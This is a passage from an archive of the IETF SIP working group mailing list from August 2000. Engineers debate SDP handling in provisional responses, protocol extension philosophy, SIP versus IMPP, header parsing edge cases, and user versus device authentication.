Sat, 26 Aug 2000 20:22:44 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C2409443C0; Sat, 26 Aug 2000 20:22:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 240624434A for <sip@lists.bell-labs.com>; Sat, 26 Aug 2000 15:22:34 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA28865; Sat, 26 Aug 2000 15:22:30 -0400 (EDT) Message-ID: <39A818F6.75CA69C@cs.columbia.edu> Date: Sat, 26 Aug 2000 15:22:30 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: Cliff.Harris@nokia.com, brett@broadsoft.com, sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <E39024226822D311BC880008C77318A1AB7588@oteis01nok> <39A6E9BB.9DBC827F@cs.columbia.edu> <39A811AE.3411B0C3@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > > > I think "override" is not well specified enough. We have defined rules > that make it clear what it means for A to send B an SDP, and then for B > to send an SDP back to A in such a way that we can correlate things. I > believe we must stick with that behavior by somehow mapping the sequence > of SDP we can see into this two phase process. > > So, I would propose that: > > 1. SDP returned in a provisional MUST be formatted in such a way that it > would be valid if it were returned in a 200 instead, > 2. If an SDP is returned in one provisional response, and then a later > provisional response contains SDP, this new SDP is treated as if it were > the original response to the SDP in the INVITE. > 3. The SDP in the 200 response is also treated as if it were the one and > only SDP received from the UAS, along the same lines as (2). > > Note that this has some implications, particularly, you cannot add a > media stream from one 183 to the next. I would hope that we keep this early media business limited to where it is absolutely needed (old telephony interworking where charging is involved), so allowing to add media, modify media and so on seem to go down a path of complexity that isn't warranted by the application and only further muddies the SIP session model. For more complicated scenarios where there are different logical sources of media during a session, it seems that a regular INVITE/200 and then REFER or re-INVITE is much cleaner. (I'm not arguing that Jonathan wants to go there, just that I think there's a danger of making what started to be an innocent little feature into a complexity nightmare. Thus, anything that restricts behavior is good for me.) > > Some other interactions to consider. We allow the INVITE to not contain > SDP, and then the 200 and ACK both contain SDP (again, everything must > be mapped to the rules for this two-phase SDP exchange). In this case, > can a 183 be sent with SDP if there was no SDP in the INVITE? I would > assume yes, but if, and only if, PRACK is used, and the PRACK contains > SDP (this way, the two phase exchange is 183/PRACK). Since PRACK isn't in 2543bis, this needs to be worded more generically. Also, this would have to be described in the 100rel draft. > Now, if there are > subsequent 183, each with SDP, those 183 COULD do things like add media > streams, as they represent the initial SDP in the two phase process. Do we really want to go there? > > Now, that raises another issue. If the original INVITE does contain SDP, > and then the 183 contains SDP, can the PRACK contain SDP? I say no - > same reason you shouldn't have SDP in the INVITE, OK and ACK. > Yes, again to keep it (kind of) simple. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 26 20:23:42 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA26086 for <sip-archive@odin.ietf.org>; Sat, 26 Aug 2000 20:23:42 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 94BD5443D4; Sat, 26 Aug 2000 20:22:44 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 9D0034434A for <sip@lists.bell-labs.com>; Sat, 26 Aug 2000 15:24:47 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA28927; Sat, 26 Aug 2000 15:24:46 -0400 (EDT) Message-ID: <39A8197E.10181838@cs.columbia.edu> Date: Sat, 26 Aug 2000 15:24:46 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: farhan <farhan@hotfoon.com> Cc: sip@lists.bell-labs.com Subject: Re: [SIP] value added services on SIP References: <003601c00f90$5f8c2060$cf15c5cb@bigboy> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit farhan wrote: > > imho when we discuss sip extensions, it is the classical case of inheritance > vs. encapsulation. do we extend sip with more request types rather than > reuse the existing ones? > > let me stick my neck out and say this ... protocols that were endlessly > extended have never succeeded. look at tcp/ip, how many different types of > headers does it have? (is it three or four?). how many types of requests > does HTTP have? do they have different requests for different types of > services and web-sites? Did we have to change the email protocol to create > the web based email? (SMTP remained SMTP all along, and will do so for a > long time to come). As a matter of fact, all of these protocols have seen a number of extensions over the years. HTTP, for example, in WebDAV, SMTP in the ESMTP verbs and TCP in various TCP option extensions. The mechanism differs, but the idea is the same. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 27 12:43:19 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10168 for <sip-archive@odin.ietf.org>; Sun, 27 Aug 2000 12:43:19 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DEC4B4434A; Sun, 27 Aug 2000 12:42:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from proxy4.ba.best.com (proxy4.ba.best.com [206.184.139.15]) by lists.bell-labs.com (Postfix) with ESMTP id 903C844339 for <sip@lists.bell-labs.com>; Sun, 27 Aug 2000 12:42:54 -0400 (EDT) Received: from amd.echeque.com (jamesd.vip.best.com [204.156.153.125]) by proxy4.ba.best.com (8.9.3/8.9.2/best.out) with ESMTP id JAA24484 for <sip@lists.bell-labs.com>; Sun, 27 Aug 2000 09:42:47 -0700 (PDT) Message-Id: <4.3.1.2.20000827091430.030e9698@shell11.ba.best.com> X-Sender: jamesd@shell11.ba.best.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Sun, 27 Aug 2000 09:27:31 -0700 To: <sip@lists.bell-labs.com> From: "James A. Donald" <jamesd@echeque.com> In-Reply-To: <003601c00f90$5f8c2060$cf15c5cb@bigboy> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [SIP] The big picture? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com -- I am a confused newbie, and I want to understand the relationship between the contemplated SIP standard, and the contemplated IMPP standard. IMPP seems to do the same thing as SIP. If you want to send an instant message, make a phone call, send a video message, hold a video conversation, you log on to Microsoft's PP server using Microsoft's PP client and do it. I get the impression that both standards are having some difficulty in becoming standard: To me in my ignorance it seems that SIP has 101 contemplated extensions to do anything whatsoever in any way related to communication, whereas the IMPP standard appears to be entirely ignored by the people that are actually implementing IMPP. SIP seems like the early Somalian peace conference, where they wound up agreeing to disagree, and IMPP seems like the later Somalian peace conference, where they agreed on a government for Somalia, but the government was unable to get into Somalia. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG 89C+uX6ZM7sgIkui1t/fvXgy0lzC8YJMcGXu8e2v 4S7OAPZWSe7WGITZiErwj5PcxLEne1MoGalEo8wAN _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 27 12:54:23 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10215 for <sip-archive@odin.ietf.org>; Sun, 27 Aug 2000 12:54:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 04823443BC; Sun, 27 Aug 2000 12:53:38 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by lists.bell-labs.com (Postfix) with ESMTP id C604C44339 for <sip@lists.bell-labs.com>; Sun, 27 Aug 2000 12:53:35 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42256) id <0FZY00G01MXBBU@firewall.mcit.com> for sip@lists.bell-labs.com; Sun, 27 Aug 2000 16:53:35 +0000 (GMT) Received: from dgismtp04.wcomnet.com ([166.38.58.144]) by firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0FZY00C44MXAAV@firewall.mcit.com>; Sun, 27 Aug 2000 16:53:35 +0000 (GMT) Received: from CONVERSION-DAEMON by dgismtp04.wcomnet.com (PMDF V5.2-33 #42262) id <0FZY00201MYXUJ@dgismtp04.wcomnet.com>; Sun, 27 Aug 2000 16:54:33 +0000 (GMT) Received: from dgismtp04.wcomnet.com by dgismtp04.wcomnet.com (PMDF V5.2-33 #42262) with SMTP id <0FZY00201MYWUE@dgismtp04.wcomnet.com>; Sun, 27 Aug 2000 16:54:33 +0000 (GMT) Received: from C25776A ([166.46.19.229]) by dgismtp04.wcomnet.com (PMDF V5.2-33 #42262) with SMTP id <0FZY0013FMYD58@dgismtp04.wcomnet.com>; Sun, 27 Aug 2000 16:54:18 +0000 (GMT) Date: Sun, 27 Aug 2000 11:53:12 -0500 From: Henry Sinnreich <Henry.Sinnreich@WCom.com> Subject: RE: [SIP] The big picture? In-reply-to: <4.3.1.2.20000827091430.030e9698@shell11.ba.best.com> To: "James A. Donald" <jamesd@echeque.com>, sip@lists.bell-labs.com Message-id: <NEBBLDFFKGAJDPBENMDNGEFHCMAA.Henry.Sinnreich@WCom.com> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit >IMPP seems to do the same thing as SIP. This is very true. On the SIP infrastructure (server and gateways), no extra work is required to support IM. The advantages of integration go however beyond using the common communications infrastructure, new applications, instant communications become possible. Thanks, Henry Henry Sinnreich MCI WorldCom 400 International Parkway Richardson, Texas 75081 USA >-----Original Message----- >From: sip-admin@lists.bell-labs.com >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of >James A. Donald >Sent: Sunday, August 27, 2000 11:28 AM >To: sip@lists.bell-labs.com >Subject: [SIP] The big picture? > > > -- >I am a confused newbie, and I want to understand the >relationship between >the contemplated SIP standard, and the contemplated >IMPP standard. > >IMPP seems to do the same thing as SIP. If you want >to send an instant >message, make a phone call, send a video message, hold a video >conversation, you log on to Microsoft's PP server >using Microsoft's PP >client and do it. > >I get the impression that both standards are having >some difficulty in >becoming standard: > >To me in my ignorance it seems that SIP has 101 >contemplated extensions to >do anything whatsoever in any way related to >communication, whereas the >IMPP standard appears to be entirely ignored by the >people that are >actually implementing IMPP. SIP seems like the early >Somalian peace >conference, where they wound up agreeing to disagree, >and IMPP seems like >the later Somalian peace conference, where they agreed >on a government for >Somalia, but the government was unable to get into Somalia. > > --digsig > James A. Donald > 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG > 89C+uX6ZM7sgIkui1t/fvXgy0lzC8YJMcGXu8e2v > 4S7OAPZWSe7WGITZiErwj5PcxLEne1MoGalEo8wAN > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 27 19:09:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12778 for <sip-archive@odin.ietf.org>; Sun, 27 Aug 2000 19:09:02 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 949C84433D; Sun, 27 Aug 2000 19:08:24 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-230.dallas.net [209.44.42.230]) by lists.bell-labs.com (Postfix) with ESMTP id 0EF3244338 for <sip@lists.bell-labs.com>; Sun, 27 Aug 2000 19:08:19 -0400 (EDT) Received: (from brian@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id SAA12750; Sun, 27 Aug 2000 18:08:10 -0500 Date: Sun, 27 Aug 2000 18:08:10 -0500 From: "Brian F. G. Bidulock" <bidulock@dallas.net> To: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Cc: Anders Kristensen <akristensen@dynamicsoft.com>, sip@lists.bell-labs.com Subject: Re: [SIP] white space and SIP Message-ID: <20000827180810.A12741@dallas.net> Reply-To: bidulock@dallas.net Mail-Followup-To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, Anders Kristensen <akristensen@dynamicsoft.com>, sip@lists.bell-labs.com References: <399D4CAC.6A3BAAD@dynamicsoft.com> <399D69CD.651FF749@dynamicsoft.com> <39A1971C.EBE960FB@cs.columbia.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2i In-Reply-To: <39A1971C.EBE960FB@cs.columbia.edu>; from schulzrinne@cs.columbia.edu on Mon, Aug 21, 2000 at 04:54:52PM -0400 Organization: Brian F. G. Bidulock, P. Eng. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit Henning, Try this one: > Header: "quoted string \ > Subject: \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ > folded" > > v=0 count those backslashes (their an odd number). Anything but a turing machine will have difficulty with this one. Most simple regular expressions will hack the body off between `Subject' and `folded'. --Brian Henning Schulzrinne wrote: (Mon, 21 Aug 2000 16:54:52) > > As a simple example, consider > > Header: "quoted string \ > Subject: " > -- Brian F. G. Bidulock ¦ The reasonable man adapts himself to the ¦ bidulock@dallas.net ¦ world; the unreasonable one persists in ¦ ¦ trying to adapt the world to himself. ¦ ¦ Therefore all progress depends on the ¦ M.O.A.M.O.N.N.T.O.M.E. ¦ unreasonable man. -- George Bernard Shaw ¦ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 27 22:32:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA15849 for <sip-archive@odin.ietf.org>; Sun, 27 Aug 2000 22:32:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8D0E94438F; Sun, 27 Aug 2000 22:31:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 8298044338 for <sip@lists.bell-labs.com>; Sun, 27 Aug 2000 22:31:54 -0400 (EDT) Received: from dynamicsoft.com (1Cust89.tnt5.freehold.nj.da.uu.net [63.36.113.89]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id WAA00733; Sun, 27 Aug 2000 22:33:24 -0400 (EDT) Message-ID: <39A9CEC1.3F08AF86@dynamicsoft.com> Date: Sun, 27 Aug 2000 22:30:25 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "James A. Donald" <jamesd@echeque.com> Cc: sip@lists.bell-labs.com Subject: Re: [SIP] The big picture? References: <4.3.1.2.20000827091430.030e9698@shell11.ba.best.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit "James A. Donald" wrote: > > -- > I am a confused newbie, and I want to understand the relationship between > the contemplated SIP standard, and the contemplated IMPP standard. > > IMPP seems to do the same thing as SIP. If you want to send an instant > message, make a phone call, send a video message, hold a video > conversation, you log on to Microsoft's PP server using Microsoft's PP > client and do it. I agree with you 100% on this one. I have been preaching the above truth for years now. > > I get the impression that both standards are having some difficulty in > becoming standard: > > To me in my ignorance it seems that SIP has 101 contemplated extensions to > do anything whatsoever in any way related to communication, No doubt there are a lot; we (and myself in particular) are actively trying to curtail the amount of random extensions being proposed. But, fact is that interactive communications is a hard problem, and theres lots of stuff that needs to be done. SIP itself is a standard (rfc2543), and the baseline spec is widely implemented and supported by service providers and vendors. > whereas the > IMPP standard appears to be entirely ignored by the people that are > actually implementing IMPP. Well, the problem is that there is no IMPP standard. Nearly every service provider and IM and presence software manufacturer has said they will support the IMPP working group's protocol when it materializes. However, the lack of progress and consensus within this group have caused many to go down other routes (IMUnified). > SIP seems like the early Somalian peace > conference, where they wound up agreeing to disagree, and IMPP seems like > the later Somalian peace conference, where they agreed on a government for > Somalia, but the government was unable to get into Somalia. Err, no. IMPP the working group has undoubtedly agreed to disagree (in fact, this is formally codified in an Internet Draft). The SIP working group generally agrees and there is consensus; there is just a ton of stuff being proposed. Not sure what peace conference to equate that to. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 27 22:42:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA15897 for <sip-archive@odin.ietf.org>; Sun, 27 Aug 2000 22:42:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7C24D443C9; Sun, 27 Aug 2000 22:42:08 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 51C7144338 for <sip@lists.bell-labs.com>; Sun, 27 Aug 2000 22:42:05 -0400 (EDT) Received: from dynamicsoft.com (1Cust89.tnt5.freehold.nj.da.uu.net [63.36.113.89]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id WAA00762; Sun, 27 Aug 2000 22:42:06 -0400 (EDT) Message-ID: <39A9D0CA.95CA0D41@dynamicsoft.com> Date: Sun, 27 Aug 2000 22:39:06 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: farhan <farhan@hotfoon.com> Cc: sip@lists.bell-labs.com Subject: Re: [SIP] value added services on SIP References: <003601c00f90$5f8c2060$cf15c5cb@bigboy> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit farhan wrote: > > imho when we discuss sip extensions, it is the classical case of inheritance > vs. encapsulation. do we extend sip with more request types rather than > reuse the existing ones? > > let me stick my neck out and say this ... protocols that were endlessly > extended have never succeeded. look at tcp/ip, how many different types of > headers does it have? (is it three or four?). how many types of requests > does HTTP have? do they have different requests for different types of > services and web-sites? Did we have to change the email protocol to create > the web based email? (SMTP remained SMTP all along, and will do so for a > long time to come). > > I guess that when we talk of extending a protocol, we should first examine, > if it is not possible to implement the functionality within the existing > mechanisms. > I would like to see services being build on top of sip rather than within. > For instance, MESSAGE can be used (in comibination with authenication > schemes already in place) for online payments. A session of MESSAGE > exchanges should be terminable with a BYE. > If a MESSAGE no with body can be used to query presence, use it. You are confusing protocol syntax with semantics. You are arguing to reuse syntax to express NEW semantics. MESSAGE right now doesn't make online payments, nor does it query presence or turn on the toaster. You have just as much work to do to get sip to do online payments if you use a new method or "reuse" an old one. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 27 22:58:38 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA15974 for <sip-archive@odin.ietf.org>; Sun, 27 Aug 2000 22:58:38 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C6326443DE; Sun, 27 Aug 2000 22:58:21 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id CB38844338 for <sip@lists.bell-labs.com>; Sun, 27 Aug 2000 22:58:17 -0400 (EDT) Received: from dynamicsoft.com (1Cust89.tnt5.freehold.nj.da.uu.net [63.36.113.89]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id WAA00779; Sun, 27 Aug 2000 22:59:47 -0400 (EDT) Message-ID: <39A9D4EF.BA761047@dynamicsoft.com> Date: Sun, 27 Aug 2000 22:56:47 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Paul Krumviede <paul@mci.net> Cc: Michael Thomas <mat@cisco.com>, Henning Schulzrinne <schulzrinne@cs.columbia.edu>, David Harris <dlharris@nortelnetworks.com>, sip <sip@lists.bell-labs.com> Subject: Re: [SIP] Re: SIP gateways and authentication References: <843805530.967211447@sjo-dhcp0181.mcit.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit (trimming sip-implementors from the cc list) As with many of our security discussions, I think we've gotten a bit off track. The problem is very spceific; does proxy (and UA) authentication actually authenticate the originating device, or the user of that device. Seems like there were valid reasons to authenticate the user and the device for both proxy and regular (401) authentication. Henning's example of trusting the caller-ID on the gateway is a good one. So, given that we need both, we have an ambiguity in the spec which we must resolve. WHich one is implied by the current authentication mechanisms (user, I would assume), and how would we specify that the other is what is desired? Should we impose some structure on the ream to indicate this, so that: realm="device:MyRealm" indicates that device authentication is desired for that specific realm? -Jonathan R. Paul Krumviede wrote: > > i'm missing something here. with certificates, one can, > at least in theory, attempt to do path discovery/validation, > which seems to be able to do much better than "database > lookups" in trying to deal with "realm multiplicity." one can > also attempt to specify and apply policies as part of the > path validation exercise. one can't do this with older > PGP keys, but one can get an X.509 certificate for at > least some PGP keys (i haven't tried it with all the > different flavors of keys). > > granted, this could chew up lots of cycles and network > time. also, there may be reasons to not want to accept > certificates from third parties, such as verisign class > one certificates, as they don't really give much authentication, > but that seems like something that could be handled by > policy in the verification path. > > as to authorization issues, one could look into attribute > certificates, but that seems orthogonal to authentication > (and can't be done in a pure PGP or S/MIME context > anyway, as far as i know). > > -paul > > --On Friday, 25 August, 2000 12:34 -0700 Michael Thomas <mat@cisco.com> > wrote: > > > Henning Schulzrinne writes: > > > Michael Thomas wrote: > > > > Not true. You are still guessing that the UAS will > > > > trust that certificate hierarchy. That may not be > > > > a valid assumption. It's the exact same problem > > > > as guessing which basic/digest realm might be needed > > > > along the way. I can just as easily posit a global > > > > symmetric key realm as a global PKI realm. Both > > > > are fantasies. > > > > > > Given the practical success of having CA's embedded in millions of web > > > clients, this seems at least feasible and works millions of times each > > > day, even though it's less than ideal if you're a new CA and want to > > be > recognized as such. > > > > Just because I trust your certificate to name > > you as Henning doesn't relieve me of knowing > > what you're authorized for. That means that I > > keep it in some sort of database or it needs > > to be transfered in the authentication token > > (cert, ticket). Keeping a symmetric key in that > > database as well doesn't seem to much of a > > stretch. > > > > So, I still don't see what you've bought > > yourself with PKI, other than lots of CPU > > cycles to do private key operations. If you > > encode the authorization into the cert you > > fall back into the same problem of realm > > multiplicity, if you don't you've consigned > > yourself to database lookups. > > > > > This does not mean that you couldn't use a ticket-based system > > (Kerberos > and kin), but we're here talking about the existing SIP > > authentication > mechanisms Basic, Digest and PGP (or, in the case of > > S/MIME, trivially > added), not something that doesn't exist yet in our > > context. > > > > There are two possiblities: > > > > 1) Carry the authentication in SIP itself which runs > > into the MTU problems, naively. > > 2) Carry the authentication in a separate protocol > > (such as the results of the KINK to-be-WG) and > > reuse digest authentication as the means of > > generating the keyed hash. > > > > I generally don't like reliance on third party > > protocols/questionable layering, but it is a > > possiblity and is somewhat inherent in both > > IPsec and TLS schemes (less so with TLS, but > > still). -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 03:29:19 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA00564 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 03:29:19 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9402C443E2; Mon, 28 Aug 2000 03:28:46 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id BC7AA44338 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 03:28:42 -0400 (EDT) Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.201.16]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e7S7SWw28276; Mon, 28 Aug 2000 09:28:33 +0200 (MEST) Received: from uabx04c148.uab.ericsson.se.uab.ericsson.se (uabx04c148 [134.138.228.163]) by ms.uab.ericsson.se (8.10.0/8.10.0/uab-2.26) with ESMTP id e7S7SWL21446; Mon, 28 Aug 2000 09:28:32 +0200 (MET DST) Received: from uab.ericsson.se by uabx04c148.uab.ericsson.se.uab.ericsson.se (8.8.7/client-1.3uab1) id JAA22118; Mon, 28 Aug 2000 09:28:32 +0200 (MET DST) Message-ID: <39AA149C.A2432A77@uab.ericsson.se> Date: Mon, 28 Aug 2000 09:28:28 +0200 From: Loita Jahnsson <Loita.Jahnsson@uab.ericsson.se> Organization: Ericsson Utvecklings AB 